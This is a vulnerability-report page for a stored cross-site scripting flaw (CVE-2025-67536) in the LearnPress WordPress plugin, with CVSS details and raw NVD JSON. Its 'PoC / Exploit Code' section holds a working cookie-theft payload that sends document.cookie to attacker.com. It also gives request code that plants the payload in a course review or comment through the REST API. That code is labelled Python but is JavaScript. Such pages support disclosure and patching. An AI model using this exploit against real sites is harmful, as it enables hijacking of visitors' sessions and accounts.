Security Vulnerability Report
中文
CVE-2025-67536 CVSS 6.5 MEDIUM

CVE-2025-67536

Published: 2025-12-09 16:18:29
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress LearnPress learnpress allows Stored XSS.This issue affects LearnPress: from n/a through <= 4.2.9.4.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

LearnPress <= 4.2.9.4 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67536 LearnPress Stored XSS PoC // Target: WordPress site with LearnPress plugin <= 4.2.9.4 // PoC Payload - Cookie Theft const xssPayload = '<img src=x onerror="fetch(`https://attacker.com/log?c="+encodeURIComponent(document.cookie))">'; // Step 1: Identify the vulnerable endpoint const targetUrl = 'https://target-site.com/wp-json/learnpress/v1/course/REPLACE_WITH_COURSE_ID/review'; // Step 2: Prepare the malicious review request const exploitData = { 'rating': 5, 'content': xssPayload, 'user_id': 1 }; // Step 3: Send the malicious review (requires authenticated low-privilege user) fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'REPLACE_WITH_VALID_NONCE' }, body: JSON.stringify(exploitData) }) .then(response => response.json()) .then(data => console.log('XSS Payload Sent:', data)); // Alternative PoC using WordPress REST API // POST /wp-json/wp/v2/comments const altPayload = { post: COURSE_ID, content: xssPayload, author_name: 'Attacker', author_email: '[email protected]' }; // Note: This PoC requires a valid authenticated session with low privileges // The XSS will execute when any user views the course page containing the comment

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67536", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:28.640", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThimPress LearnPress learnpress allows Stored XSS.This issue affects LearnPress: from n/a through <= 4.2.9.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/learnpress/vulnerability/wordpress-learnpress-plugin-4-2-9-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}